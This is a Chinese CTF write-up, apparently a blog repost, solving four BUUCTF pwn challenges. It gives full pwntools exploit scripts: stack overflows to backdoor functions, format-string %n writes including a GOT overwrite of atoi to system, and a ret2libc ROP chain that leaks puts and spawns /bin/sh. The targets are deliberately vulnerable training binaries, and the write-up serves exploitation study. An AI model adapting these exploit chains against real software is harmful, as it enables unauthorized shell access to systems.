buuctf pwn(5~8)

pwn1_sctf_2016

ida32位打开程序
发现程序是由c++写的(不太懂c++)
分析vuln()函数
在这里插入图片描述
不理解中间的代码是干啥的,但是fgets函数又没有溢出
题目中给的有后门函数
在这里插入图片描述
猜测vuln()函数中 ‘I’ 和 ‘you’是进行了替换,导致栈溢出
为了验证这一猜测,动态调试一下程序
把程序停到输出s的地方
在这里插入图片描述
在这里插入图片描述

输入IIIIIIII
在这里插入图片描述

在这里插入图片描述
猜测正确,开始构造rop
脚本如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn5")   
p=remote("node4.buuoj.cn",25281)
sys=0x08048F13
payload=b'I'*21+b'a'+p32(sys)  # s距离ebp有0x3C+4的距离,因为是x86结构所以是60+4所以是21*3+1个字节
p.sendline(payload)
p.interactive()

在这里插入图片描述

jarvisoj_level0

ida64位打开
发现一个溢出点
在这里插入图片描述
而且还有后门函数
在这里插入图片描述顺带查一下保护
在这里插入图片描述

栈不可执行
构造rop

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn6")   
p=remote("node4.buuoj.cn",27174)
sys=0x000000000040059A
payload=b'a'*(0x80+8)+p64(sys)
p.sendline(payload)
p.interactive()

在这里插入图片描述

[第五空间2019 决赛]PWN5

ida32位打开之后
在这里插入图片描述
分析之后意思就很明确了
然后我们输入一个和随机数相等,但是这几乎不可能。
(/dev/urandom这是个随机数产生存储的地方)
发现printf(buf)
典型的格式化字符串漏洞
那么我们就能利用这个漏洞把dword_804C044这个存储的数给覆盖了
再输入我们让它存储的数
脚本如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node4.buuoj.cn",26059)
#p=process('./pwn7')
p.recvuntil(b'your name:')
payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.recvuntil(b'your passwd:')
p.sendline(str(0x10101010))
p.interactive()

在这里插入图片描述
还有一种方法就是通过格式化字符串,把atoi函数的地址替换成system函数的地址,手动输入"/bin/sh"字符串
这样就能getshell
这里用到了pwntools带的fmtstr_payload
脚本如下:

from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
p=remote("node4.buuoj.cn",26059)
#p = process('./pwn7')
elf = ELF('./pwn7')
got_atoi = elf.got['atoi']
plt_sys = elf.plt['system']
payload = fmtstr_payload(10,{
    
    got_atoi:plt_sys})
p.recv()
p.sendline(payload)
p.recv()
p.sendline(b'/bin/sh')
p.interactive()

这个fmtstr_payload修改任意内容,
fmtstr_payload是pwntools里面的一个工具,可以实现修改任意内存,用来简化对格式化字符串漏洞的构造工作。简直不要太香
fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

此方法借鉴 https://blog.csdn.net/qq_41696518/article/details/125771666

在这里插入图片描述

ciscn_2019_c_1

ida64位打开
在encrypt()函数里找到了gets()函数,可以栈溢出
在这里插入图片描述
但是下面的算法会破坏我们的payload
所以找绕过
if(v0>=strlen(s))可以用 ‘\x00’ 来绕过srlen函数的检测(strlen函数会读取到’\x00’停止读取)
再看这个程序里没有system函数,而且没有/bin/sh所以这个题因该是个ret2libc题

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
p=remote("node4.buuoj.cn",28801)
#p = process('./pwn8')
elf=ELF('./pwn8')
ret=0x00000000004006b9
pop=0x0000000000400c83 #rdi
main=0x0000000000400B28
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
def yichu():
	payload=b'1'
	p.recvuntil(b"Input your choice!")
	p.sendline(payload)
payload=b'\x00'+b'a'*(0x50+7)+p64(pop)+p64(puts_got)+p64(puts_plt)+p64(main) #利用puts函数把puts的真实地址打印出来,再回到main函数
yichu()
p.recvuntil("Input your Plaintext to be encrypted\n")
#gdb.attach(p)
p.sendline(payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc.dump('system')+libc_base
bin_sh=libc.dump('str_bin_sh')+libc_base
yichu()
payload1=b'\x00'+b'a'*(0x50+7)+p64(pop)+p64(bin_sh)+p64(ret)+p64(system) #这里的ret是为了堆栈平衡,总字节数需要是16的倍数
p.recvuntil("Input your Plaintext to be encrypted")
p.sendline(payload1)
p.interactive()

这里说一下为啥有 p.recvline()两个
看一下这个程序里

在这里插入图片描述
它会puts两次
问:return 不是被劫持了吗?
这个可以看一下汇编代码
在这里插入图片描述

它是puts两次之后再retn 的

这个题,刚开始我是用__libc_start_main函数来找的基地址,但是libcseacher搜的版本都不能的打通,所以后来用的puts,就能打通了。
这个是用__libc_start_main搜的libc版本
在这里插入图片描述
选哪个版本都都是超时
在这里插入图片描述

后来改成puts,版本如下
在这里插入图片描述

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/127988372